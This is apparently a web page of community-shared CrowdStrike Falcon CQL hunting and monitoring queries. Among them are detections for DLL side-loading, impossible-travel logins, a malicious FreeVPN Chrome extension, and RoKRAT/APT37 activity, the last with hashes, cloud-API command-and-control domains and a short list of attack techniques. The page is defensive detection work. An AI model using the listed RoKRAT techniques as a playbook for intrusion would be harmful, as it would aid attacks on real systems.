|groupBy([ProcessStartTime,SusProcessID,ComputerName,UserName],function=([collect([FileWriteFileSourceURL,FileWriteFileSource,FileWriteParent,FilePath,FileWritten,OriginalFilename,CompanyName,DLLSideLoadProcess,"DllLoaded Files",ModuleLoadTelemetryClassification,SusHash,"DllLoaded Files Count"])])) | ProcessStartTime:=ProcessStartTime*1000 |ProcessStartTime := formatTime("%e %b %Y %r", field=ProcessStartTime, locale=en_UAE, timezone="Asia/Dubai") | rename([[FilePath,FileWrittenPath],[CompanyName,"ExeAuthorCompanyName"],[ModuleLoadTelemetryClassification,"DllLoaded Files Signature"]]) |drop([SusProcessID])
T1574.001
Aamir Muhammad
dll-side-loading-detection-query
Domain Controllers with high load
Monitoring
Endpoint
Insight
Domain controllers with either average CPU usage, average RAM usage that exceeds 80% or Available Disk space < 10GB. This indicates low capacity or unexpected excessive usage.
CQL
Copy
Run in Falcon ↗
//Table to list DC hardware capacity | defineTable(query={#repo=base_sensor #event_simpleName="SystemCapacity" | in(field=cid, values=[?SelectedCid]) | match(file="aid_master_main.csv", field=[cid, aid]) | ProductType=2 // Filters | in(field=MachineDomain, values=[?SelectedDomain]) | groupBy([cid, aid], function=selectLast([CpuProcessorName, PhysicalCoreCount, LogicalCoreCount, MemoryTotal]), limit=5000) | MemoryTotal := unit:convert(field=MemoryTotal, to=Gi) }, include=[cid, aid, MemoryTotal, LogicalCoreCount], name="system_capacity", start=3d) | #repo=base_sensor #event_simpleName=ResourceUtilization | in(field=cid, values=[?SelectedCid]) // Filter only on DC | match(file="aid_master_main.csv", field=[cid, aid]) | ProductType=2 // Filters | in(field=MachineDomain, values=[?SelectedDomain]) | groupBy([cid, aid], function=[ avg(AverageUsedRam, as=AverageUsedRam), avg(AverageCpuUsage, as=AverageCpuUsage), selectLast([UsedDiskSpace, AvailableDiskSpace])], limit=5000) // Get DC capacity | match(file="system_capacity", field=[cid, aid], strict=false) // Memory capacity & usage | AverageUsedRam := unit:convert(field=AverageUsedRam, from=Mi, to=Gi) | AverageUsedRam := (AverageUsedRam/MemoryTotal)*100 | ThresholdMemory:=80 | ThresholdCPU:=80 | ThresholdDiskSpace:=10 | HighUsage:= false | case { test(AverageUsedRam>=ThresholdMemory) | HighUsage:= true; test(AverageCpuUsage>=ThresholdCPU) | HighUsage:= true; test(AvailableDiskSpace<ThresholdDiskSpace) | HighUsage:= true; } | stats({HighUsage="true"| count(field=aid, distinct=true)})
CrowdStrike
domain-controllers-with-high-load
Identify Linux Systems Vulnerable to CVE-2025-1146 with Last Logged-On User Information
Detection
Endpoint
Insight
The query below will look for Linux systems (Linux, K8, Containers) that need to be updated against CVE-2025-1146. The query is based on the event OsVersionInfo which is generated every 24-hours, at sensor start, or at sensor update. It attempts to merge in LogonType 2 and 10 to determine the last logged on user.
CQL
Copy
Run in Falcon ↗
// Get OsVersionInfo events; sent by sensor every 24-hours or at sensor start or update #event_simpleName=OsVersionInfo // Narrow search to only include Linux, Container, and K8 systems | in(field="event_platform", values=[Lin, K8S]) // Enrich required fields from aid_master_main.csv | aid=~match(file="aid_master_main.csv", column=[aid], include=[ProductType, Version, MAC, SystemManufacturer, SystemProductName, FirstSeen, Time], strict=false) // Parse AgentVersion into individual components for evaluation | AgentVersion=/^(?<majorVersion>\d+)\.(?<minorVersion>\d+)\.(?<buildNumber>\d+)\./ // Evaluate Linux Container Sensors | case { event_platform=Lin ProductType=Pod majorVersion=6 | Status:="NEEDS PATCH" | event_platform:="Lin (Pod)"; event_platform=Lin ProductType=Pod majorVersion=7 minorVersion<=5 | Status:="NEEDS PATCH" | event_platform:="Lin (Pod)"; event_platform=Lin ProductType=Pod majorVersion=7 minorVersion=6 buildNumber<4705| Status:="NEEDS PATCH" | event_platform:="Lin (Pod)"; event_platform=Lin ProductType=Pod majorVersion=7 minorVersion=10 buildNumber<4907| Status:="NEEDS PATCH" | event_platform:="Lin (Pod)"; event_platform=Lin ProductType=Pod majorVersion=7 minorVersion=11 buildNumber<5003| Status:="NEEDS PATCH" | event_platform:="Lin (Pod)"; event_platform=Lin ProductType=Pod majorVersion=7 minorVersion=12 buildNumber<5102| Status:="NEEDS PATCH" | event_platform:="Lin (Pod)"; event_platform=Lin ProductType=Pod majorVersion=7 minorVersion=13 buildNumber<5202| Status:="NEEDS PATCH" | event_platform:="Lin (Pod)"; event_platform=Lin ProductType=Pod majorVersion=7 minorVersion=14 buildNumber<5306| Status:="NEEDS PATCH" | event_platform:="Lin (Pod)"; event_platform=Lin ProductType=Pod majorVersion=7 minorVersion=15 buildNumber<5403| Status:="NEEDS PATCH" | event_platform:="Lin (Pod)"; event_platform=Lin ProductType=Pod majorVersion=7 minorVersion=16 buildNumber<5503| Status:="NEEDS PATCH" | event_platform:="Lin (Pod)"; event_platform=Lin ProductType=Pod majorVersion=7 minorVersion=17 buildNumber<5603| Status:="NEEDS PATCH" | event_platform:="Lin (Pod)"; event_platform=Lin ProductType=Pod majorVersion=7 minorVersion=18 buildNumber<5705| Status:="NEEDS PATCH" | event_platform:="Lin (Pod)"; event_platform=Lin ProductType=Pod majorVersion=7 minorVersion=19 buildNumber<5807| Status:="NEEDS PATCH" | event_platform:="Lin (Pod)"; event_platform=Lin ProductType=Pod majorVersion=7 minorVersion=20 buildNumber<5908| Status:="NEEDS PATCH" | event_platform:="Lin (Pod)"; event_platform=Lin ProductType=Pod | Status:="OK" | event_platform:="Lin (Pod)"; *; } // Evaluate Linux Sensors | case { event_platform=Lin majorVersion=6 | Status:="NEEDS PATCH"; event_platform=Lin majorVersion=7 minorVersion<=5 | Status:="NEEDS PATCH"; event_platform=Lin majorVersion=7 minorVersion=6 buildNumber<16113 | Status:="NEEDS PATCH"; event_platform=Lin majorVersion=7 minorVersion=7 buildNumber<16209 | Status:="NEEDS PATCH"; event_platform=Lin majorVersion=7 minorVersion=10 buildNumber<16321| Status:="NEEDS PATCH"; event_platform=Lin majorVersion=7 minorVersion=11 buildNumber<16410| Status:="NEEDS PATCH"; event_platform=Lin majorVersion=7 minorVersion=13 buildNumber<16606| Status:="NEEDS PATCH"; event_platform=Lin majorVersion=7 minorVersion=14 buildNumber<16705| Status:="NEEDS PATCH"; event_platform=Lin majorVersion=7 minorVersion=15 buildNumber<16806| Status:="NEEDS PATCH"; event_platform=Lin majorVersion=7 minorVersion=16 buildNumber<16909| Status:="NEEDS PATCH"; event_platform=Lin majorVersion=7 minorVersion=17 buildNumber<17014| Status:="NEEDS PATCH"; event_platform=Lin majorVersion=7 minorVersion=18 buildNumber<17131| Status:="NEEDS PATCH"; event_platform=Lin majorVersion=7 minorVersion=19 buildNumber<17221| Status:="NEEDS PATCH"; event_platform=Lin majorVersion=7 minorVersion=20 buildNumber<17308| Status:="NEEDS PATCH"; event_platform=Lin | Status:="OK"; *; } // Evaluate K8 Sensors | case { event_platform=K8S majorVersion=6 | Status:="NEEDS PATCH"; event_platform=K8S majorVersion=7 minorVersion<=5 | Status:="NEEDS PATCH"; event_platform=K8S majorVersion=7 minorVersion=6 buildNumber<603 | Status:="NEEDS PATCH"; event_platform=K8S majorVersion=7 minorVersion=10 buildNumber<806 | Status:="NEEDS PATCH"; event_platform=K8S majorVersion=7 minorVersion=11 buildNumber<904 | Status:="NEEDS PATCH"; event_platform=K8S majorVersion=7 minorVersion=12 buildNumber<1002| Status:="NEEDS PATCH"; event_platform=K8S majorVersion=7 minorVersion=13 buildNumber<1102| Status:="NEEDS PATCH"; event_platform=K8S majorVersion=7 minorVersion=14 buildNumber<1203| Status:="NEEDS PATCH"; event_platform=K8S majorVersion=7 minorVersion=16 buildNumber<1403| Status:="NEEDS PATCH"; event_platform=K8S majorVersion=7 minorVersion=17 buildNumber<1503| Status:="NEEDS PATCH"; event_platform=K8S majorVersion=7 minorVersion=18 buildNumber<1605| Status:="NEEDS PATCH"; event_platform=K8S majorVersion=7 minorVersion=20 buildNumber<1808| Status:="NEEDS PATCH"; event_platform=K8S | Status:="OK"; *; } // Aggregate results into tabular format | groupBy([cid, aid], function=([selectLast([cid, cid, ComputerName, event_platform, Version, AgentVersion, Status, aip, LocalAddressIP4, MAC, SystemManufacturer, SystemProductName, FirstSeen, Time])]), limit=max) // Add user logon data if available | join(query={#event_simpleName=UserLogon LogonType=/^(2|10)$/ event_platform=Lin | groupBy([aid], function=[(selectLast([UserName, UID, LogonType]))])}, field=[aid], include=[UserName, UID, LogonType], start=7d, mode=left) // Modify field names for easier reading | rename([[cid, "Customer ID"],[aid, "Agent ID"], [event_platform, Platform], [aip, "External IP"]]) // Aggregate results into tabular format with cleaner ordering | groupBy(["Customer ID", "Agent ID", ComputerName, UserName, UID, LogonType, Platform, Version, AgentVersion, Status, "External IP", LocalAddressIP4, MAC, SystemManufacturer, SystemProductName, FirstSeen, Time], function=[], limit=max) // Set default values for easier reading | default(value="-", field=[ComputerName, Version, AgentVersion, Status, LocalAddressIP4, MAC, SystemManufacturer, SystemProductName, FirstSeen, Time, UID, UserName, LogonType], replaceEmpty=true) // Move LogonType to human readable | case { LogonType=2 | LogonType:="Interactive"; LogonType=10| LogonType:="SSH"; *; } // Move timestamps from epoch to human readable | formatTime(format="%F %T", as="FirstSeen", field=FirstSeen) | formatTime(format="%F %T", as="LastSeen", field=Time) // Remove unnecessary field | drop([Time])
CrowdStrike
identify-linux-systems-vulnerable-to-cve-2025-1146-with-last-logged-on-user-information
Impossible Travel Time Azure
Hunting
Network, Identity
Identity, CSPM / ASPM / DSPM
Tracing Logins from two different countries with impossible travel times between consecutive logins per identity
CQL
Copy
Run in Falcon ↗
in(field="#event_simpleName", values=[SsoApplicationAccess,SsoUserLogon]) //Excluding Mobile Devices since VPN is widely used on mobile devices | ClientUserAgentString!=/ios /i and ClientUserAgentString!=/Safari/i and ClientUserAgentString!=/Android/i //Exclude your proxy's cloud CIDR (if any) | !cidr(SourceEndpointAddressIP4, subnet=["0.0.0.0/16"]) //Concatinate the IP4 and IP6 Sources IP addresses into single varibale | SourceIP:=concat([SourceEndpointAddressIP4, SourceEndpointAddressIP6]) // Create UserName + SourceAccountAzureId Hash for sequencing of events | UserHash:=concat([SourceAccountUserName, SourceAccountAzureId]) | UserHash:=crypto:md5([UserHash]) // Populating the emptied Hostname with Unregistered Device tag |case{ SourceEndpointHostName="" | SourceEndpointHostName:="{Unregistered Device}" ; *; } // Perform initial aggregation; groupBy() will sort by UserHash then ContextTimeStamp | groupBy([UserHash, ContextTimeStamp], function=[collect([SourceAccountUserName, SourceAccountAzureId, SourceIP, SourceEndpointHostName,ISPDomain,ClientUserAgentString,SourceEndpointHostName])], limit=max) // Get geoIP for Remote IP | ipLocation(SourceIP) // Use new neighbor() function to get results for previous row | neighbor([ContextTimeStamp, SourceIP,ISPDomain, UserHash, SourceIP.country, SourceIP.lat, SourceIP.lon, SourceEndpointHostName,ClientUserAgentString,SourceEndpointHostName], prefix=prev) // Make sure neighbor() sequence do correlate same users only, might occur at the end of a sequence | test(UserHash==prev.UserHash) // Known Exception for Accounts in your environment for particular country | SourceAccountUserName!=mr.example@corporate.com AND (prev.SourceIP.country!=PK OR SourceIP.country!=PK) // Calculate login time delta in milliseconds from LogonTime to prev.LogonTime and round it off | LogonDelta:=(ContextTimeStamp-prev.ContextTimeStamp)*1000 | LogonDelta:=round(LogonDelta) // Turn logon time delta from milliseconds to human readable format | TimeToTravel:=formatDuration(LogonDelta, precision=2) // Calculate distance between Login 1 and Login 2 | DistanceKm:=(geography:distance(lat1="SourceIP.lat", lat2="prev.SourceIP.lat", lon1="SourceIP.lon", lon2="prev.SourceIP.lon"))/1000 | DistanceKm:=round(DistanceKm) // Calculate speed required to get from Login 1 to Login 2 | SpeedKph:=DistanceKm/(LogonDelta/1000/60/60) | SpeedKph:=round(SpeedKph) // SETING LOGIC THRESHOLD: MAXIMUM Speed used by Commercial Passenger aircraft is 900KM/h OR 0.9 MACH | test(SpeedKph>900) // Exclude Same Country travel | test(SourceIP.country!=prev.SourceIP.country) // Format LogonTime Values | ContextTimeStamp:=ContextTimeStamp*1000 | formatTime(format="%e %b %Y %r %Z", as="ContextTimeStamp", field="ContextTimeStamp", locale=en_UAE, timezone="Asia/Dubai") | prev.ContextTimeStamp:=prev.ContextTimeStamp*1000 | formatTime(format="%e %b %Y %r %Z", as="prev.ContextTimeStamp", field="prev.ContextTimeStamp", locale=en_UAE, timezone="Asia/Dubai") // Beautification / Differential Analysis | Travel:=format(format="%s → %s", field=[prev.SourceIP.country, SourceIP.country]) | IPs:=format(format="%s → %s\n%s → %s", field=[prev.SourceIP,SourceIP,prev.ISPDomain,ISPDomain]) | Logons:=format(format="%s → %s", field=[prev.ContextTimeStamp, ContextTimeStamp]) | UserAgent:=format(format="%s → %s", field=[prev.ClientUserAgentString, ClientUserAgentString]) | RegisteredDeviceName:=format(format="%s → %s", field=[prev.SourceEndpointHostName, SourceEndpointHostName]) // Output results to table and sort by highest speed | table([SourceAccountUserName,RegisteredDeviceName, SourceAccountAzureId, Travel,UserAgent, IPs, TimeToTravel, DistanceKm, Logons, SpeedKph], limit=20000, sortby=DistanceKm, order=desc) // Express SpeedKph as a value of MACH | Mach:=SpeedKph/1234 | Mach:=round(Mach) | Speed:=format(format="MACH %s", field=[Mach]) // Format distance and speed fields to include comma and unit of measure | format("%,.0f km",field=["DistanceKm"], as="DistanceKm") | format("%,.0f km/h",field=["SpeedKph"], as="SpeedKm/h") | sort(SpeedKph) // Drop unwanted fields | drop([Mach,SpeedKph])
Aamir Muhammad
impossible-travel-time-azure
Malicious Chrome Extension FreeVPN-One Detection
Hunting
Endpoint
Insight
This Logic detects the presence of the malicious Chrome extension FreeVPN[.]One by identifying its unique extension ID across installed browsers. The logic further correlates this presence with network communications initiated by the extension to suspicious or untrusted domains. By combining extension enumeration with traffic analysis, the detection ensures high fidelity with minimal false positives. This layered approach strengthens visibility into malicious browser add-ons masquerading as VPN tools.
CQL
Copy
Run in Falcon ↗
defineTable(query={#event_simpleName=InstalledBrowserExtension |case{ BrowserExtensionId=/jcbiifklmgnkppebelchllpdbnibihel/iF; BrowserExtensionName=/FreeVPN/iF } | case{ "BrowserExtensionStatusEnabled"="0" | BrowserExtensionStatusEnabled:="Disabled"; "BrowserExtensionStatusEnabled"="1" | BrowserExtensionStatusEnabled:="Enabled"; *; } | BrowserExtensionInstalledTimestamp := BrowserExtensionInstalledTimestamp * 1000 | "Extension Installation date" := formatTime("%d-%m-%Y %H:%M:%S.%L", field=BrowserExtensionInstalledTimestamp, locale=en_UAE, timezone="Asia/Dubai") | "Extension(s)":=format(format="Status=%s, Installation Date=%s", field=[BrowserExtensionStatusEnabled,"Extension Installation date"]) | groupBy([event_platform, aid, UserName, BrowserProfileId, BrowserName,BrowserExtensionName], function=([collect([ComputerName,"Extension(s)",BrowserExtensionPath,BrowserExtensionRequestedPermissions])])) | drop([_count,aid]) | case{ BrowserName ="0" | BrowserName := "UNKNOWN" ; BrowserName="1" | BrowserName:="Firefox"; BrowserName="2" | BrowserName:="Safari"; BrowserName="3" | BrowserName:="Chrome"; BrowserName="4" | BrowserName:="Edge"; BrowserName="5" | BrowserName:="EDGE CHROMIUM"; BrowserName="6" | BrowserName:="Internet Explorer"; BrowserName="7" | BrowserName:="Edge Legacy"; BrowserName="8" | BrowserName:="IE_TYPED_URL"; BrowserName="9" | BrowserName:="FIREFOX_APP"; *; }}, include=[*], name="Extension") |defineTable(query={#event_simpleName=DnsRequest | in(field="DomainName", values=["aitd.one","extrahefty.com","scan.aitd.one","freevpn.one"],ignoreCase=true)}, include=[*], name="ExtensionTraffic") |readFile(["Extension","ExtensionTraffic"]) |groupBy([ComputerName,DomainName], function=([collect([UserName, BrowserProfileId, BrowserName,BrowserExtensionName,"Extension(s)",BrowserExtensionPath,BrowserExtensionRequestedPermissions])]))
Aamir Muhammad
malicious-chrome-extension-freevpn-one-detection
ROKRAT Malware APT 37
Hunting
Endpoint
Insight
RoKRAT Malware – Injection & Steganography 🛠 High‑Level TTPs - Initial Access: Malicious .lnk files within compressed archives. - Execution & Persistence: PowerShell/BAT‑driven staged loaders with XOR decryption. Defense Evasion: Process injection into trusted Windows binaries & payload concealment via steganography. - Command & Control: Abuse of pCloud, Yandex Disk, and Dropbox APIs with embedded tokens to blend with legitimate traffic.
CQL
Copy
Run in Falcon ↗
in(field="#event_simpleName", values=[*ProcessRollup2,DnsRequest,*Written]) |case{ in(field="SHA256HashData", values=["3fa06c290c477c133ca58512c7852fc998632721f2dc3a0984f18fbe86451e18","ccb6ca4cb385db50dad2e3b7c68a90ddee62398edb0fd41afdb793287cfbe8e6","9eca7ab62e3ad40b79116ad713462e3ae4d9610345952e5dd279f0b481870d4f","7ee4326c5d0e6a30c1a9bdec045d670758fa1b36477992d61b03cb270113b196","e27467f7fdfa721e917384542ce10cc6108dfd78df14e23872cf8df916e0b8c6","7d514021c472e6e17f587ed30555d3f120653e6c7f8dc25d2331514b92ffd7bc","41d9b6d8cf0fff85bf35327d4b94db629cd9f754c487672911b7f701fe8c5539","6a2d984ef3fa0de9b9feb5f558381201e6dff42ef5efe4867fb24e47c6a2aade","bf7d5020dcd7777509b7b542255814cd61bfb1599d532dd2fdbb50de2ad70bc5","90bf1f20f962d04f8ae3f936d0f9046da28a75fa2fb37f267ff0453f272c60a0","ca56720610400d6da773ffa4cce5b2447d4a665087604c9c6e1c9e71c048ccfc"],ignoreCase=true); in(field="DomainName", values=["*api.pcloud.com","*cloud-api.yandex.net","*dropboxapi.com"], ignoreCase=true); (ImageFileName= /mspaint.exe/iF) |in(field="ParentBaseFileName", values=["cmd.exe","powershell.exe"], ignoreCase=true); (ContextBaseFileName=/mspaint.exe/iF OR ContextBaseFileName=/notepad.exe/iF) | in(field="DomainName", values=["api.dropboxapi.com","dropboxapi.com","cloud-api.yandex.net"], ignoreCase=true); ContextBaseFileName=/rundll32.exe/iF FileName=/version1.0.tmp/iF } |groupBy([ComputerName,UserName,ProcessTree,CommandLine])
Aamir Muhammad
rokrat-malware-apt-37
SOC Efficiency Metrics
Monitoring
Endpoint
Insight
Summarizes CrowdStrike Falcon detections across hosts, showing key lifecycle metrics such as tactic, technique, severity, detection state, and resolution time. Useful for SOC performance tracking, identifying detection patterns, and monitoring time-to-close for incidents.
CQL
Copy
Run in Falcon ↗
// Get events of interest #repo=detections | in(field="ExternalApiType", values=[Event_UserActivityAuditEvent, Event_EppDetectionSummaryEvent]) // Unify detection UUID | detectID:=Attributes.composite_id | detectID:=CompositeId // Based on event type, set the timestamp value for later calculations. | case{ ExternalApiType=Event_UserActivityAuditEvent Attributes.update_status=closed | response_time:=@timestamp; ExternalApiType=Event_UserActivityAuditEvent Attributes.assign_to_user_id=* | assign_time:=@timestamp; ExternalApiType=Event_EppDetectionSummaryEvent | detect_time:=@timestamp; } // Perform aggregation against detectID to get required values | groupBy([detectID], function=([count(ExternalApiType, distinct=true), selectLast([Hostname, Attributes.update_status]), max(Severity, as=Severity), collect([Tactic, Technique, FalconHostLink, Attributes.add_tag]), min(detect_time, as=FirstDetect), min(assign_time, as=FirstAssign), min(response_time, as=ResolvedTime)]), limit=200000) // Check to make sure Hostname value is not null; makes sure there isn't only a detection update event. | Hostname=* // This handles when an alert was closed and then reopened | case{ Attributes.update_status!=closed | ResolvedTime:=""; *; } // Calculate durations | ToAssign:=(FirstAssign-FirstDetect) | ToAssign:=formatDuration(field=ToAssign, precision=3) | AssignToClose:=(ResolvedTime-FirstAssign) | AssignToClose:=formatDuration(field=AssignToClose, precision=3) | DetectToClose:=(ResolvedTime-FirstDetect) | DetectToClose:=formatDuration(field=DetectToClose, precision=3) // Calculate the age of open alerts | case{ Attributes.update_status!="closed" | Aging:=now()-FirstDetect | Aging:=formatDuration(Aging, precision=2); *; } // Set default value for field Attributes.update_status; seeing some null values and not sure why | default(value="new", field=[Attributes.update_status]) | default(value="-", field=[FirstAssign, ResolvedTime, ToAssign, AssignToClose, DetectToClose, Aging, Tags], replaceEmpty=true) // Format timestamps out of epoch | FirstDetect:=formatTime(format="%F %T", field="FirstDetect") | FirstAssign:=formatTime(format="%F %T", field="FirstAssign") | ResolvedTime:=formatTime(format="%F %T", field="ResolvedTime") // Create hyperlink to detection | format("[Detection Link](%s)", field=[FalconHostLink], as="Detection Link") // Drop uneeded fields | drop([detectID, _count, FalconHostLink]) // Rename field with silly name |rename(field=[[Attributes.update_status, "CurrentState"], ["Attributes.add_tag", Tags]]) // Order output columns to make them pretty | table([Hostname, Tactic, Technique, Severity, CurrentState, Aging, FirstDetect, FirstAssign, ResolvedTime, ToAssign, AssignToClose, DetectToClose, Tags, "Detection Link"], limit=20000)
CrowdStrike
soc-efficiency-metrics
Assigned Sensor Update Policy
Monitoring
Endpoint
Insight
This query will output a table with all hosts and their sensor update logic / assigned sensor update policy.
CQL
Copy
Run in Falcon ↗
defineTable( query={ #repo="sensor_metadata" #data_source_name="policyinfo" #data_source_group="sensor-update" | groupBy(id, function=selectFromMax(field="@timestamp", include=[release_id])) | rename(field="id", as="sensor_update_policy_id") } , include=[sensor_update_policy_id, release_id] , name="policy_to_release" , start=1h // policyinfo is currently updated once an hour ) | defineTable(query={ createEvents([ "release_id=tagged|1 release.type=N-1", "release_id=tagged|2 release.type=N-2", "release_id=tagged|3 release.type=N-1", "release_id=tagged|4 release.type=N-2", "release_id=tagged|5 release.type=N-1", "release_id=tagged|6 release.type=N-2", "release_id=tagged|11 release.type=\"Auto Latest\"", "release_id=tagged|12 release.type=\"Auto Latest\"", "release_id=tagged|13 release.type=\"Auto Latest\"", "release_id=tagged|16 release.type=\"Auto EA\"", "release_id=tagged|17 release.type=\"Auto EA\"", "release_id=tagged|18 release.type=\"Auto EA\"" ]) | kvParse() }, include=[release_id, release.type], name="release_type_lookup") | defineTable( query={ #repo="sensor_metadata" #data_source_name="aid-policy" | groupBy(aid, limit=max, function=selectFromMax(field="@timestamp", include=[sensor_update_policy_id])) } , include=[aid, sensor_update_policy_id] , name="aid_to_policy" , start=1d //aid-policy is currently updated once per day ) | readFile("aid_master_main.csv") | in(field="ProductType", values=[1,2,3]) | match(file="aid_to_policy", field=aid, include=sensor_update_policy_id) | match(file="policy_to_release", field=sensor_update_policy_id, include=release_id, strict=false) | match(file="release_type_lookup", field=[release_id], include=release.type, strict=false) | groupBy([aid, ComputerName, event_platform, Version, release.type, sensor_update_policy_id, MachineDomain, OU, SiteName, SystemManufacturer, SystemProductName], function=[], limit=max) | default(value="-", field=[ProductType, MAC, sensor_update_policy_id, MachineDomain, OU, SiteName, SystemManufacturer, SystemProductName], replaceEmpty=true) | default(value="Auto-Update Disabled", field=[release.type])
ByteRay
assigned-sensor-update-policy
CVE-2025-59287 - WSUS Identification+Vulnerability Query
Detection
Endpoint
Insight
The query below outputs a list of your Windows servers with a Falcon sensor, tells you if they need to be patched for the CVE or not, when the data was last updated, and if WSUS was "detected". https://www.reddit.com/r/crowdstrike/comments/1ohdzpm/comment/nlnti7p/
CQL
Copy
Run in Falcon ↗
// Make a bad attempt to locate WSUS-involved devices | defineTable(query={ #repo = "base_sensor" #event_simpleName="ProcessRollup2" and "WSUS" | groupBy([ComputerName]) }, include=[ComputerName], name="LocateAnythingWSUS", start=1d) // Get OsVersionInfo events; sent by sensor every 24-hours or at sensor start or update | #event_simpleName=OsVersionInfo // Narrow search to only include Windows systems | in(field="event_platform", values=[Win]) | in(field=ProductName, values=["*server*"], ignoreCase=true) | case { event_platform=Win MajorVersion=10 MinorVersion=0 BuildNumber=17763 SubBuildNumber<7922 | Status:="NEEDS PATCH"; event_platform=Win MajorVersion=10 MinorVersion=0 BuildNumber=20348 SubBuildNumber<4297 | Status:="NEEDS PATCH"; event_platform=Win MajorVersion=10 MinorVersion=0 BuildNumber=26100 SubBuildNumber<6905 | Status:="NEEDS PATCH"; event_platform=Win MajorVersion=10 MinorVersion=0 BuildNumber=25398 SubBuildNumber<1916 | Status:="NEEDS PATCH"; event_platform=Win MajorVersion=10 MinorVersion=0 BuildNumber=26100 SubBuildNumber<6905 | Status:="NEEDS PATCH"; event_platform=Win MajorVersion=10 MinorVersion=0 BuildNumber=14393 SubBuildNumber<8524 | Status:="NEEDS PATCH"; event_platform=Win MajorVersion=6 MinorVersion=2 BuildNumber=9200 SubBuildNumber<25728 | Status:="NEEDS PATCH"; event_platform=Win MajorVersion=6 MinorVersion=3 BuildNumber=9600 SubBuildNumber<22826 | Status:="NEEDS PATCH"; event_platform=Win | Status:="OK"; *; } | OSVersion := format(format="%s.%s.%s.%s", field=[MajorVersion, MinorVersion, BuildNumber, SubBuildNumber]) // Aggregate results into tabular format | groupBy([ComputerName], function=([selectLast([aid, ComputerName, event_platform, ProductName, OSVersion, Status, LocalAddressIP4, @timestamp])]), limit=max) // Move timestamps from epoch to human readable | formatTime(format="%F %T", as="LastUpdated", field=@timestamp) // Modify field names for easier reading | rename([[aid, "Agent ID"], [event_platform, Platform]]) // Aggregate results into tabular format with cleaner ordering | groupBy(["Agent ID", ComputerName, Platform, ProductName, OSVersion, Status, "External IP", LocalAddressIP4, LastUpdated], function=[], limit=max) // Set default values for easier reading | default(value="-", field=[ComputerName, OSVersion, Status, LocalAddressIP4, LastUpdated, WSUSDetected], replaceEmpty=true) | case { match(file="LocateAnythingWSUS", field=ComputerName, column=ComputerName) | WSUSDetected := "Potentially"; * | WSUSDetected := "No"; } | drop(@timestamp) | sort(WSUSDetected, ComputerName)
AAuraa
cve-2025-59287-wsus-identification-vulnerability-query
No queries match your filters.

Have a query worth sharing?

Submit it directly — no GitHub account required — or open a pull request. Every query is reviewed and validated before it goes live, credited to you as the author.

Contribute a query →

These queries run in production.

We build, tune and operate CrowdStrike Falcon Next-Gen SIEM for companies across Europe, with more than 350 tested use cases and 24/7 incident response behind them.

Talk to the SIEM team